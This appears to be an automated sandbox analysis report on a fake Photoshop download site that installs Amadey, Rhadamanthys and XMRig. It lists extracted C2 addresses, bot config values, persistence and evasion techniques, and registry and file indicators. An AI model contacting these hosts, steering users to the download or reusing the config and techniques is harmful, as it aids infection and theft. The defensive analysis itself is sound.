amadey | hxxps://www[.]soft-got[.]org/adobephotoshop

Analysis

max time kernel
312s
max time network
284s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
31/07/2024, 01:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.soft-got.org/adobephotoshop

Score

10^/10

amadey rhadamanthys xmrig 9f93a2 discovery evasion execution miner persistence privilege_escalation stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

9f93a2

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes

install_dir
3bca58cece
install_file
Hkbsse.exe
strings_key
554ac8d4ec8b2a0ead6c958fdfed18cb
url_paths
/hb9IvshS01/index.php

/hb9IvshS02/index.php

/hb9IvshS03/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5220 created 2936	5220	plugin32274	50

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/2652-6751-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6758-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6757-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6755-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6754-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6756-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2652-6752-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe
4008	powershell.exe
5520	powershell.exe
4204	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	3plugin13200
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	Photoshop64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	Launhcer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	Launcher.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 26 IoCs

pid	Process
2220	7z2407-x64.exe
5880	7z2407-x64.exe
2732	7zG.exe
5180	Photoshoр.exe
5332	Photoshop64.exe
3076	Launhcer.exe
756	Launcher.exe
5436	wget.exe
5348	winrar.exe
5640	AfterFX64.exe
5220	plugin32274
3460	wget.exe
1540	winrar.exe
3692	2plugin28438
5476	wget.exe
3968	winrar.exe
6124	3plugin13200
3372	Hkbsse.exe
5484	kuytqawknxye.exe
2312	Hkbsse.exe
1252	Hkbsse.exe
5656	Hkbsse.exe
5892	Photoshoр.exe
3576	Photoshop64.exe
5636	Photoshoр.exe
3236	Photoshop64.exe

Loads dropped DLL 64 IoCs

pid	Process
3400	Process not Found
2732	7zG.exe
5180	Photoshoр.exe
5180	Photoshoр.exe
5180	Photoshoр.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3692-6652-0x0000000140000000-0x0000000140E40000-memory.dmp	upx
behavioral1/memory/5484-6711-0x0000000140000000-0x0000000140E40000-memory.dmp	upx
behavioral1/memory/2652-6747-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6749-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6751-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6758-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6757-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6755-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6754-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6756-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6752-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6750-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6748-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2652-6746-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
152	bitbucket.org
17	bitbucket.org
20	bitbucket.org
149	raw.githubusercontent.com
150	raw.githubusercontent.com
151	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2908	powercfg.exe
6104	powercfg.exe
5404	powercfg.exe
4516	powercfg.exe
4996	powercfg.exe
3252	powercfg.exe
2060	powercfg.exe
6032	powercfg.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	2plugin28438
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe
File created	C:\Windows\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_65ab9a260dbf7467\basicdisplay.PNF	DeviceProperties.exe
File created	\??\c:\windows\system32\driverstore\filerepository\basicdisplay.inf_amd64_65ab9a260dbf7467\basicdisplay.PNF	DeviceProperties.exe
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3692	2plugin28438
3692	2plugin28438
5484	kuytqawknxye.exe
5484	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5484 set thread context of 6124	5484	kuytqawknxye.exe	257
PID 5484 set thread context of 2652	5484	kuytqawknxye.exe	259

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\7z.dll	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\7z.dll	7z2407-x64.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	AfterFX64.exe
File created	C:\Windows\Tasks\Hkbsse.job	3plugin13200
File created	C:\Windows\INF\c_display.PNF	DeviceProperties.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DeviceProperties.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5188	sc.exe
5164	sc.exe
1392	sc.exe
712	sc.exe
4472	sc.exe
408	sc.exe
3772	sc.exe
4368	sc.exe
3972	sc.exe
1448	sc.exe
828	sc.exe
640	sc.exe
376	sc.exe
4944	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 25 IoCs

pid	pid_target	Process	procid_target
4664	5220	WerFault.exe	150
5864	6124	WerFault.exe	162
5856	6124	WerFault.exe	162
6132	6124	WerFault.exe	162
4576	6124	WerFault.exe	162
3328	6124	WerFault.exe	162
3596	6124	WerFault.exe	162
5192	6124	WerFault.exe	162
4648	6124	WerFault.exe	162
2908	6124	WerFault.exe	162
5296	6124	WerFault.exe	162
4116	3372	WerFault.exe	181
5336	3372	WerFault.exe	181
2232	3372	WerFault.exe	181
6012	3372	WerFault.exe	181
5160	3372	WerFault.exe	181
1932	3372	WerFault.exe	181
2428	3372	WerFault.exe	181
4680	3372	WerFault.exe	181
4488	3372	WerFault.exe	181
4312	3372	WerFault.exe	181
964	2312	WerFault.exe	263
768	1252	WerFault.exe	285
5424	3372	WerFault.exe	181
4516	5656	WerFault.exe	298

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z2407-x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshop64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	plugin32274
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshop64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3plugin13200
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshoр.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z2407-x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshoр.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshoр.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Photoshop64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5436	wget.exe
3460	wget.exe
5476	wget.exe

Checks SCSI registry key(s) 3 TTPs 15 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	DeviceProperties.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	DeviceProperties.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	DeviceProperties.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	DeviceProperties.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	DeviceProperties.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	DeviceProperties.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	DeviceProperties.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1768	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Microsoft\Internet Explorer\GPU	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\SOFTWARE\Microsoft\Internet Explorer\GPU	SearchApp.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
